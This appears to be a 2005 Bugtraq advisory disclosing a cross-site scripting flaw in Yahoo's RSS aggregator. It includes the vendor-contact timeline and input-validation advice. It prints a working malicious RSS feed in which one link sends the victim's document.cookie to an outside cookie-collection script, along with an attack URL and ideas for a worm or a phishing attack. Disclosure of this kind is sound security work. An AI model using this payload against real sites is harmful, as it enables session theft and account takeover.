Date: 17 Oct 2005 11:57:30 -0000
From: alljer@...il.com
To: bugtraq@...urityfocus.com
Subject: Yahoo RSS XSS Vulnerability (Correction)


URL in previous post is brings up improper results, see http://www.alljer.com/yahoorssxss.htm for most correct version, or use version below. Sorry for any confusion. Exploit example URL should be ( http://add.my.yahoo.com/rss?url=http://www.alljer.com/yahoo.xml )

I recently began running some testing and discovered that when Yahoo's RSS Aggregator allows a person to add an RSS feed to It’s website, it doesn't properly check the XML file to make sure it doesn't contain possibly malicious code. It stripped the tags out of the TITLE of the RSS but in the link I was able to have javascript run. 

A malicious website could have a Add to My Yahoo button with a link to the malicious XML file such as the following:
http://add.my.yahoo.com/rss?url=http://www.alljer.com/yahoo.xml It could be disguised with javascript to look like a link to add a valid CNN feed. The malicious links could also be made to look like real headlines, or even grab headlines from CNN's RSS and replace the links with malicious code.

If you use the link you can see that by clicking the "Steal My Cookie" it would do just that. Clicking "Show My Cookie" will also simply show the cookie.

The malicious RSS feed is below:

<item>
<title>Steal My Cookie!</title>
<link>javascript:%20document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'%20+document.cookie;</link>
<description>Should Steal Your Cookie.</description> 
<pubDate>Tue, 20 Sep 2005 23:55:18 EDT</pubDate>
</item>
<item>
<title>Show My Cookie!</title>
<link>javascript:%20alert(document.cookie);</link>
<description>Should Steal Your Cookie.</description> 
<pubDate>Tue, 20 Sep 2005 23:55:18 EDT</pubDate>
</item>


The following is url a screen shot of My Yahoo! with the injected code click for full screen. http://www.alljer.com/yahooxss.jpg

This XSS can be even more dangerous when combined with recent security bugs found in the way AJAX is handled by certain browsers. ( http://secunia.com/advisories/16942/ ) And with the recent spreading of an XSS AJAX worm on MySpace it's critical for sites to validate all input being displayed on it's site through any means. ( http://www.betanews.com/article/CrossSite_Scripting_Worm_Hits_MySpace/1129232391 ) There would be very little to keep someone from creating a similar worm that attacked My Yahoo members. It could be used to construct a massive phishing attack on Yahoo by loading a login page through AJAX and modifying it's post location, all while still running off the my.yahoo.com domain.

Yahoo was contacted about this vulnerability first on the 21st of September, and again on the 12th of October, giving a final cut off date of Oct 17th before going public with this information. No correspondence was received.

I was also able to wage this XSS attack against My.Msn.Com but it was resolved. I'm sure a few other sites that allow for a user to add an RSS feed are also vulnerable. Google's RSS aggregator on the other hand does not work with this attack.

Like any other method of displaying content from another site on your site, it is always best to validate this input. Even if the RSS feed you are displaying may be from a reputable source, trusting them implicitly to not have malicious code in the RSS stream would not be a wise idea.

Questions or comments contact me:
alljer@...il.com 
Jeremy Moeder 

Powered by blists - more mailing lists